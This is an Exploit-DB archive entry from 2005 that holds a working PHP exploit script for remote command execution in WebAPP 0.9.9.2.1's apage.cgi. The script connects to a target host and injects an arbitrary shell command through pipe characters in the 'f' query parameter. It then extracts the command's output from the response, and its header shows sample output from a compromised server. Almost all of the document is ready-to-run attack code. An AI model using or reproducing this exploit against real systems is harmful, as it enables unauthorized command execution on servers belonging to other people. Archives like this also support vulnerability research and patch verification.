Exploit-DB #1004
Description: WebAPP 0.9.9.2.1 - Remote Command Execution (2)
Type: webapps
Platform: cgi
Date: 2005-05-20
Author: Nikyt0x

Exploit:
<?php

########################################################
#                                                      #
#  WebAPP v0.9.9.2.1 Remote Command Execution Exploit  #
#                 [Code by Nikyt0x]                    #
#                 nikyt0x@gmail.com                    #
#                                                      #
#    Advisory: www.defacers.com.mx/advisories/3.txt    #                                               #
#                                                      #
#    Saludos:                                          #
#                                                      #
#    Soulblack Staff, Status-x, NeosecurityTeam,       #
#    KingMetal, Trespasser...                          #
#                                                      #
########################################################
#                                                      #
# sbwebapp.php www.host.com /dirto/apage.cgi "command" #
#                                                      #
# Linux dprhensim19.doteasy.com 2.4.22-1.2199.nptl     #
# #1 Wed Aug 4 12:21:48 EDT 2004 i686 i686 i386        #
# GNU/Linux                                            #
# uid=557(scapip) gid=558(scapip) groups=558(scapip)   #
#                                                      #
#                                                      #
#                                                      #
########################################################


if ($argc != 4) {

   echo "\n              =====================================\n";
   echo "               WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
   echo "              =====================================\n";
   echo "                    Nikyt0x - SoulBlack Team\n\n";
   echo "\nUsage:\n\n";
   echo " $argv[0] www.host.com /apagedir/apage.cgi \"command\"\n";
   exit(0);
   }

if(!ereg('apage.cgi',$argv[2])) {
   echo "URL to apage.cgi Incorrect.";
   exit(0);
   }

   echo "\n              =====================================\n";
   echo "               WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
   echo "              =====================================\n";
   echo "                    Nikyt0x - SoulBlack Team\n\n";




$s0ck3t = fsockopen($argv[1], 80);
if (!$s0ck3t) {
   echo "[-] Socket\n";
   exit(0);
   
} else {
   $ex3cutar = str_replace(" ", "%20", $argv[3]);
   $petici0n = "GET $argv[2]?f=expofranquicias.htm|echo%20c0mand0s;$ex3cutar;echo%20final1zar| HTTP/1.1\r\n";
   $petici0n .= "Host: $argv[1]\r\n";
   $petici0n .= "Connection: Close\r\n\r\n";
   
   echo "[+] Socket\n";
   
   if(!fwrite($s0ck3t, $petici0n))
   {
   echo "[-] Sending Exploit\n";
   exit(0);
   }
   echo "[+] Sending Exploit\n";
   while (!feof($s0ck3t)) {
       $g3tdata = fgets($s0ck3t, 1024);
	   if (eregi('c0mand0s',$g3tdata))
	   {
	   $aceptar = 1;
	   }
	   if (eregi('final1zar',$g3tdata))
	   {
	   $aceptar = 0;
	   }
	   while ($aceptar == 1)
	   {
	  	   if(eregi('c0mand0s',$g3tdata))
		   {
		    $g3tdata = str_replace('c0mand0s','', $g3tdata);
		   echo "[+] Command:\n";
		   }
		   $g3tdata = str_replace('c0mand0s','', $g3tdata);
		   echo $g3tdata;
		   break;
	   }
	   
   }
   fclose($s0ck3t);
}
?> 

# milw0rm.com [2005-05-20]